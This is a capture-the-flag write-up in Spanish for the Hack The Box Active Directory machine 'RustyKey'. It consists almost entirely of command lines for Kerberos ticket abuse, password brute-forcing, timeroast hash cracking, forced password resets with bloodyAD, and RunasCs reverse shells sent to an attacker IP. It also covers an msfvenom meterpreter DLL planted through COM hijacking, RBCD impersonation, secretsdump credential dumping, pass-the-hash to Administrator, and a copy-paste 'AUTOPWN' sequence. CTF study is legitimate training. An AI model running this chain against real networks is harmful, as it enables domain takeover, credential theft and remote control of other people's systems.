Skip to content

RustyKey ⭐

#htb #windows #ActiveDirectory #bloodhound #bloodyad #kerberos #writeup

rr.parker \ 8#t5HE8L!W3A
bash
ldapsearch -x -H ldap://10.10.11.75 -s base
bash
sudo ntpdate -u 10.10.11.75
bash
impacket-getTGT rustykey.htb/'rr.parker':'8#t5HE8L!W3A' -dc-ip 10.10.11.75

export KRB5CCNAME=rr.parker.ccache
bash
nxc smb DC.rustykey.htb -u 'rr.parker' -p '8#t5HE8L!W3A' -k --users --shares
bash
./kerbrute_linux_amd64 bruteforce -d rustykey.htb --dc 10.10.11.75 /mnt/Windows/Hacking/Academias/HackTheBox/Machines/RustyKey/content/combs.txt -t 1
bash
bloodhound-python  -d rustykey.htb -dc DC.rustykey.htb -ns 10.10.11.75 -u 'rr.parker' -p '8#t5HE8L!W3A' -c All --zip -k

Timeroasting - HackTricks

bash
python3 timeroast.py 10.10.11.75 > timeroast_hashes.txt
bash
nxc ldap DC.rustykey.htb -u 'rr.parker' -p '8#t5HE8L!W3A' -k --computers | awk '{print $5}' | grep '\$' | tr -d '\$' | tr '[:upper:]' '[:lower:]' > timeroast_wordlist.txt
bash
python3 timecrack.py ../timeroast_hashes.txt timeroast_wordlist.txt
bash
sudo ./hashcat.bin -m 31300 /mnt/Windows/Hacking/Academias/HackTheBox/Machines/RustyKey/exploits/Timeroast/timeroast_hashes.txt /usr/share/wordlists/rockyou.txt
$sntp-ms$d793b7a6bee90dd588a0ae96fd770cde$1c0111e900000000000a44094c4f434ceca3461afd48f38ee1b8428bffbfcd0aeca39fce1d48c642eca39fce1d48fd9f:Rusty88!
IT-COMPUTER3$ \ Rusty88!
bash
impacket-getTGT rustykey.htb/'IT-COMPUTER3$':'Rusty88!' -dc-ip 10.10.11.75

export KRB5CCNAME=IT-COMPUTER3\$.ccache
bash
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k add groupMember 'HELPDESK' 'IT-COMPUTER3$'
bash
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'DD.ALI' '8#t5HE8L!W3A'
DD.ALI \ 8#t5HE8L!W3A
bash
impacket-getTGT rustykey.htb/'DD.ALI':'8#t5HE8L!W3A' -dc-ip 10.10.11.75

Con Ali parece ser que no podemos llegar a ningún lado y no parece tener ningún permiso especial

bash
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'GG.ANDERSON' '8#t5HE8L!W3A'
bash
impacket-getTGT rustykey.htb/'GG.ANDERSON':'8#t5HE8L!W3A' -dc-ip 10.10.11.75
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

La cuenta de gg.anderson está deshabilitada.

En resumen, el único usuario que podemos controlar parece ser DD.ALI, el resto o están deshabilitados o tiran error al obtener el ticket.

Los que tiran error al obtener el ticket es porque están en el grupo PROTECTED USERS, no podemos obtener un ticket usando cifrado RC4, tenemos que usar AES:

El permiso AddMember sobre Protected Objects también nos permite quitarlos, por lo que quitamos ambos grupos y así nos podemos loguear con estos usuarios.

bash
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k  remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'
bash
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'EE.REED' '8#t5HE8L!W3A'
bash
impacket-getTGT rustykey.htb/'EE.REED':'8#t5HE8L!W3A' -dc-ip 10.10.11.75

Parece ser que nos da error

bash
nxc smb DC.rustykey.htb -u 'EE.REED' -p '8#t5HE8L!W3A' -k
SMB         DC.rustykey.htb 445    DC               [-] rustykey.htb\EE.REED:8#t5HE8L!W3A STATUS_LOGON_TYPE_NOT_GRANTED

Vamos a probar con BB.MORGAN

BASH
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k  remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'
bash
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'BB.MORGAN' '8#t5HE8L!W3A'
bash
impacket-getTGT rustykey.htb/'BB.MORGAN':'8#t5HE8L!W3A' -dc-ip 10.10.11.75

Con este si que nos deja:

bash
nxc smb DC.rustykey.htb -u 'BB.MORGAN' -p '8#t5HE8L!W3A' -k --shares
bash
evil-winrm -i 10.10.11.75 -u 'BB.MORGAN' -p '8#t5HE8L!W3A' -r rustykey.htb -i DC.rustykey.htb -k BB.MORGAN.ccache

Una vez dentro podemos enviarnos rev shells por runas, para ello importante que no estén en Protected Objects, sino no saldrá la shell, pivotamos a EE.REED:

bash
./RunasCs.exe 'EE.REED' '8#t5HE8L!W3A' powershell.exe -r 10.10.16.73:4444

COM hijacking

COM son las siglas de "Component Object Model" (Modelo de Objetos Componente).

Es una tecnología fundamental de Microsoft, integrada en el sistema operativo Windows, que actúa como un "intermediario" universal. Su principal objetivo es permitir que diferentes piezas de software (componentes) se comuniquen e interactúen entre sí, incluso si fueron escritas en distintos lenguajes de programación.

¿Cómo funciona? El Registro y el CLSID

Aquí es donde se vuelve clave para entender el "hijacking". Para que este sistema funcione, Windows no busca los componentes por su nombre de archivo (como corrector.dll).

En su lugar, utiliza el Registro de Windows como un gigantesco directorio o "páginas amarillas":

  1. Cada componente COM registrado tiene un número de identificación único y universal llamado CLSID (Class ID).
  2. Cuando un programa necesita usar un componente (por ejemplo, el corrector ortográfico), le dice a Windows: "Oye, necesito cargar el componente con el CLSID {...un-número-largo...}".
  3. Windows busca ese CLSID en el Registro.
  4. El Registro le dice al sistema operativo dónde encontrar el archivo (.dll o .exe) real que debe cargar para usar esa función.

El ataque

El "secuestro de COM" explota precisamente este sistema de directorio. El atacante no necesita modificar el archivo legítimo. En su lugar, engaña al Registro:

  1. Busca un CLSID de un componente legítimo que se use a menudo.
  2. Crea una entrada falsa en el Registro (específicamente en la parte del registro del usuario, HKEY_CURRENT_USER, que tiene prioridad sobre el registro del sistema, HKEY_LOCAL_MACHINE).
  3. Esta entrada falsa usa el mismo CLSID legítimo, pero le dice a Windows que el archivo .dll a cargar está en una ubicación diferente, apuntando al malware del atacante.

Comprobamos si existen CLSID, relacionados con softwares de compresión (como se menciona en el pdf):

powershell
reg query HKCR\CLSID /s /f "zip"

El de 7zip es el que más llama la atención:

powershell
HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000}
    (Default)    REG_SZ    7-Zip Shell Extension

HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32
    (Default)    REG_SZ    C:\Program Files\7-Zip\7-zip.dll
shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.82 LPORT=5555 -f dll -o hack.dll

Modificamos el registro de windows para que el CLSID apunte a nuestro dll malicioso

bash
reg add "HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\Windows\TEMP\hack.dll" /f

HKLM -> Se necesitan privilegios de administrador para hacer este cambio, además este cambio afecta a todos los usuarios de la máquina, por lo que si otro usuario ejecuta 7zip recibiremos la shell como ese usuario. /ve -> Se modifica el valor predeterminado (la ruta)

msfconsole

use exploit/multi/handler

set PAYLOAD windows/x64/meterpreter/reverse_tcp
getuid

shell

Como somos miembros de DelegationManager podemos editar el atributo msDS-AllowedToActOnBehalfOfOtherIdentity del DC (RBCD) para que así el DC permita a otros servicios o máquinas autenticarse como cualquier otro usuario contra el DC.

bash
Set-ADComputer 'DC$' -PrincipalsAllowedToDelegateToAccount 'IT-COMPUTER3$' #Assing delegation privileges

"Soy IT-COMPUTER3$, y quiero que me des un ticket de servicio como si yo fuera el usuario backupadmin":

SHELL
impacket-getST -spn 'cifs/DC.rustykey.htb' -impersonate backupadmin -dc-ip 10.10.11.75 -k 'rustykey.htb/IT-COMPUTER3$:Rusty88!'
  • No podemos impersonar al Administrator porque tiene Cannot Be Delegated
  • -spn 'cifs/DC.rustykey.htb' significa que nos estamos intentando autenticar contra el servicio de archivos del propio DC, con el objetivo de conseguir un Ticket de Servicio, luego eso nos permitirá hacer Pass The Ticket
bash
export KRB5CCNAME=backupadmin@cifs_DC.rustykey.htb@RUSTYKEY.HTB.ccache
BASH
impacket-secretsdump rustykey.htb/'backupadmin'@DC.RUSTYKEY.HTB -k -no-pass -dc-ip 10.10.11.75
bash
impacket-getTGT rustykey.htb/'Administrator' -hashes "aad3b435b51404eeaad3b435b51404ee:f7a351e12f70cc177a1d5bd11b28ac26" -dc-ip DC.rustykey.htb
bash
evil-winrm -i 10.10.11.75 -u 'Administrator' -r rustykey.htb -i DC.rustykey.htb -k Administrator.ccache

AUTOPWN

Para cada vez que tenga que conectarme a la máquina solo copiar y pegar:

bash
impacket-getTGT rustykey.htb/'IT-COMPUTER3$':'Rusty88!' -dc-ip 10.10.11.75
bash
export KRB5CCNAME=IT-COMPUTER3\$.ccache
bash
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k add groupMember 'HELPDESK' 'IT-COMPUTER3$'
bash
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k  remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'
bash
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k  remove groupMember 'PROTECTED OBJECTS' 'IT'
bash
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'BB.MORGAN' '8#t5HE8L!W3A'
bash
impacket-getTGT rustykey.htb/'BB.MORGAN':'8#t5HE8L!W3A' -dc-ip 10.10.11.75
bash
export KRB5CCNAME=BB.MORGAN.ccache
bash
bloodyAD --dc-ip 10.10.11.75 -d RUSTYKEY.HTB --host DC.RUSTYKEY.HTB -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password 'EE.REED' '8#t5HE8L!W3A'
bash
evil-winrm -i 10.10.11.75 -u 'BB.MORGAN' -p '8#t5HE8L!W3A' -r rustykey.htb -i DC.rustykey.htb -k BB.MORGAN.ccache
bash
./RunasCs.exe 'EE.REED' '8#t5HE8L!W3A' powershell.exe -r 10.10.16.82:4444

Notas personales de seguridad ofensiva.